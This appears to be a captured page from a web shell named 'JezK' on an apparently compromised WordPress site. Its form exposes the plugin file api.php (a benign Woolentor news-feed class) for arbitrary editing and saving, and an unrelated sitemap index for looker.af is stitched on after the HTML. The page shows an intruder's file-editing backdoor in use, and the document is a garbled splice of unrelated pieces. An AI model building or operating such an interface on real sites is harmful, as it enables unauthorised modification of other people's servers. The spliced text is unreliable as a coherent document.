
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: api.php</h2><form method="post"><textarea name="file_content" rows="10" cols="50">&lt;?php
if( ! defined( &#039;ABSPATH&#039; ) ) exit(); // Exit if accessed directly

class Woolentor_Api{

    /**
     * Define nessesary variables
     */
    const NEWS_FEED_OPTION_KEY = &#039;woolentor_info_news_feed_data&#039;;
	const TRANSIENT_KEY_PREFIX = &#039;woolentor_info_api_data&#039;;

    /**
     * Info API URL
     */
    public static $api_url = &#039;https://library.shoplentor.com/wp-json/woolentor/v1/info&#039;;

    /**
     * Get API data
     */
    private static function get_info_data( $force_update = false ) {
		$cache_key = self::TRANSIENT_KEY_PREFIX;

		$info_data = get_transient( $cache_key );

		if ( $force_update || false === $info_data ) {
			$timeout = ( $force_update ) ? 25 : 8;

			$response = wp_remote_get( self::$api_url, [
				&#039;timeout&#039; =&gt; $timeout,
				&#039;body&#039; =&gt; [
					&#039;api_version&#039; =&gt; WOOLENTOR_VERSION,
					&#039;site_lang&#039; =&gt; get_bloginfo( &#039;language&#039; ),
				],
			] );

			if ( is_wp_error( $response ) || 200 !== (int) wp_remote_retrieve_response_code( $response ) ) {
				set_transient( $cache_key, [], 2 * HOUR_IN_SECONDS );
				return false;
			}

			$info_data = json_decode( wp_remote_retrieve_body( $response ), true );

			if ( empty( $info_data ) || ! is_array( $info_data ) ) {
				set_transient( $cache_key, [], 2 * HOUR_IN_SECONDS );
				return false;
			}

			if ( isset( $info_data[&#039;info&#039;] ) ) {
				update_option( self::NEWS_FEED_OPTION_KEY, $info_data[&#039;info&#039;], &#039;no&#039; );
				unset( $info_data[&#039;info&#039;] );
			}

			set_transient( $cache_key, $info_data, 2 * (24 * HOUR_IN_SECONDS) );
		}

		return $info_data;
	}

    /**
	 * Get news feed data.
	 * Retrieve the feed info data from remote woolentor server.
	 *
	 * @param bool $force_update Optional. Whether to force the data update.
	 * @return array News Feed data.
	 */
	public static function get_remote_data( $force_update = false ) {
		self::get_info_data( $force_update );
		$feed = get_option( self::NEWS_FEED_OPTION_KEY );
        return empty( $feed ) ? [] : $feed;
	}

}</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://looker.af/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://looker.af/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>
